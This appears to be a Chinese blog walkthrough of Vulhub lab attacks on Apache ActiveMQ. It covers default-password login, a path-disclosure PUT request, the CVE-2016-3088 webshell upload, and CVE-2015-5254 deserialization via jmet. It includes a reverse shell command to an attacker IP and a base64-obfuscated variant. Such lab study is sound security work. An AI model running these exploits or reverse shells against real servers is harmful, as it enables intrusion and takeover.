【 Vluhub 靶场——ActiveMQ漏洞利用】

ActiveMQ简介

ActiveMQ 是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。

环境搭建

docker 常用命令

启动靶机环境;
docker-compose up -d 
查看启动环境
docker ps -a 
关闭靶机环境;
docker-compose down -v 
docker ps -a

进入docker 中
docker-compose exec activemq bash

未授权访问

admin 默认口令未授权访问

ActiveMQ 默认使用 8161 端口,且管理地址为 /admin,默认口令为 admin/admin,登录成功

在这里插入图片描述
访问页面 http://192.168.241.131:8161/admin/test/systemProperties.jsp
能够发现ActiveMQ在服务器的安装路径及使用版本
在这里插入图片描述

Api同样需要登陆验证

在这里插入图片描述
使用默认密码admin、admin 登录成功
在这里插入图片描述

Fileserver则无需登录即可访问

http://192.168.241.131:8161/fileserver/

在这里插入图片描述

物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,访问不存在的目录,Response会返回相应的物理路径信息

请求行

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test

需要5.7 版本

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

漏洞原理

漏洞出现在 fileserver 应用中,漏洞原理很简单,就是 fileserver 支持写入文件(但不解析jsp),但是支持移动文件(MOVE请求)。我们可以将jsp的文件PUT到 fileserver 下,然后再通过Move指令移动到可执行目录下(admin和api),造成任意文件写入漏洞。

受影响版本

ActiveMQ在5.12.x~5.13.x

实验环境
  • 攻击机 :kali 192.168.241.177
  • 靶机:192.168.341.131
    ActiveMQ的绝对路径

默认的ActiveMQ账号密码均为admin,首先访问
http://192.168.1.104:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径

文件上传
上传个文件到 fileserver看一下,发现 jsp 类型的文件上传失败,改为 txt 上传成功

在这里插入图片描述
发现上传成功,但是在filesever 下不能解析
在这里插入图片描述

然后移动到 api 目录下,成功的话,返回 204 No Content
在这里插入图片描述
访问查看api 下上传的jsp 文件
在这里插入图片描述
jsp 木马利用
在这里插入图片描述

ActiveMQ 反序列化漏洞利用

漏洞简介

环境搭建

切换到漏洞所在的目录
cd  /home/kali/vulhub/activemq/CVE-2015-5254
执行  docker-compose up -d 打开靶机
查看 靶机启动是否正常
docker ps -a

在这里插入图片描述

受影响版本

Apache ActiveMQ 5.13.0之前的5.x版本

漏洞原理

ctiveMQ默认对外开启61616端口,该端口为ActiveMQ消息队列端口。
通过61616端口能将构造好的,可执行命令的序列化对象,作为消息发送给服务器。
当管理员访问Web管理页面并读取消息时,则会触发该漏洞。
访问web 页面查看队列的URL 
http://192.168.241.131:8161/admin/browse.jsp?JMSDestination=event

目前消息队列无消息
在这里插入图片描述

漏洞复现

工具下载地址

https://github.com/matthiaskaiser/jmet

利用jmet构造可执行的序列化对象

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

攻击机操作:

  • 下载工具
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
  • 执行语句
sudo java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.241.131 61616

在这里插入图片描述
返回网站查看,可以看到队列里出现了一个event新的任务
在这里插入图片描述
点击event
在这里插入图片描述
点进去任务详情触发
在这里插入图片描述

  • 接下来进入docker检验漏洞是否存在,发现在docker中 命令执行成功,有文件被创建
    在这里插入图片描述

漏洞利用

kali 监听

在这里插入图片描述

发送消息
  • 将反弹shell序列化
    反弹shell生成
bash -i >& /dev/tcp/192.168.241.177/1314 0>&1

攻击机执行

java -jar jmet-0.1.0-all.jar -Q hacker -I ActiveMQ -s -Y “bash -i >& /dev/tcp/192.168.241.177/1314 0>&1” -Yp ROME 192.168.241.131 61616

变形后为

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xNzcvMTMxNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.241.131 61616

在这里插入图片描述

  • 查看web 的消息队列

加粗样式

反弹shell 后查看监听

发现有消息存在,点击触发反弹shell后,查看攻击机的监听是否接收到反弹shell,发现已经成功
在这里插入图片描述

删除环境
漏洞利用完之后,记得删除创建的环境,不然很占空间内存的。
docker-compose down -v
  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值